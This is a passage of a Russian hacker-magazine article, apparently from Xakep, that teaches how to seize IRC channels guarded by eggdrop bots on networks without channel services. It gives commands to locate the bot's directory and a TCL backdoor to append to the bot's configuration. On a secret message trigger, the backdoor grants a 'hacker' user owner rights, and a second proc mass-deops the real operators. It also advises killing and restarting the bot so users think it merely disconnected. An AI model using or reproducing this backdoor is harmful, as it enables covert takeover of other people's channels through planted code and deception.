Захват канала на IRC!

Денис Мысенко

Xakep, номер #029, стр. 029-064-1

(denis@mysenko.com)

Начнём, чтобы не кончить

Начнем с определения. Тэйковер (takeover) - захват канала на IRC, то есть получение статуса оператора на нем, когда реальный его владелец совсем этого даже не хочет (а быть может, просто нужно возвратить твой собственный чан). Зачем заниматься этой байдой? Порой просто необходимо указать "кто есть ху" оборзевшим козлам. Или же - по невероятной лёгкости бытия - возникает желание, чтобы в whois красовалась собака (@) около нужного канала. Осуществить захват можно практически в любой сети, но сегодня я бы хотел поговорить о работе с бессервисными сетями, которым наиболее характерны тэйковеры, в стандартном понимании этого слова. Итак, речь пойдёт о беспределе в сетях EFNet и IrcNet (наиболее крупные, из всех service free).

Здесь нет Nickserv/Chanserv`a, X и W, как нет и стабильного права кого-либо на канал. Так что, далеко не всегда IRCop станет помогать в случае увода канала, ибо действует правило трамвая: попу поднял - место потерял :).

Я опишу возможности того, как затэйковерить канал, поддерживаемый ботами eggdrop (работающими на UNIX и Windows - платформах; подавляющее большинство ботов на IRC - eggdrop'ы под UNIX, для которых особое внимание).

Взлом через TCL

Для осуществления этого вида взлома тебе понадобится доступ на запись в каталог бота. Другими словами, тебе нужен аккаунт пользователя, под которым запущен бот или права администратора.

Смотрим, откуда запущен бот (*nix-пример): "ps auxw | grep eggdrop", видим его (как правило, это что-то типа ./eggdrop <ник бота>, но может быть каким угодно, юзай lsof при необходимости), ищем каталог с ботом: "find ~<имя юзера, под которым запущен бот> -name <ник бота или eggdrop>", откуда узнаем имя каталога с ботом, заходим в него.

В конце файла с именем бота (так обычно называют файл конфигурации) ты увидишь строки типа "source scripts/blabla.tcl". Далее либо меняем один из файлов, указанных таким образом, либо добавляем "source scripts/elite.tcl" и создаем такой файл. Создавая или модифицируя, мы пишем туда (в любом месте) следующее:

bind msg - yo elite

proc elite { n uh h a } {

adduser hacker

chattr hacker +omnfxp

addhost hacker "*!*@твоя маска"

}

После этого перезапускаешь процесс (killall -9 <его PID>; ./eggdrop <имя бота> из его каталога), люди на канале думают, что их самопальный сервис просто слетел с сервера. Уверенность в этом закрепится, когда он возвратится, получая опа на канале от других ботов или людей. Тем временем, ты пишешь боту /msg <его ник> yo, он добавляет тебя под именем hacker с правами владельца. И что же дальше будет? Можешь просто зайти в него через dcc chat или телнетом и делать что угодно (можно быстренько опнуть себя и сразу сделать массдеоп остальных, можно самого подопытного попросить деопнуть канальных). Так или иначе, канал твой!

Чтобы заставить его деопнуть других, добавь в тот же TCL-скрипт:

bind msg - yahoo wohoo

proc wohoo { n uh h a } {

set chan [lindex ${a} 0]

putserv "mode ${chan} :-oooo <оп1 оп2 оп3 оп4>"

Содержание  Вперед на стр. 029-064-2

ttfb: 39.94607925415 ms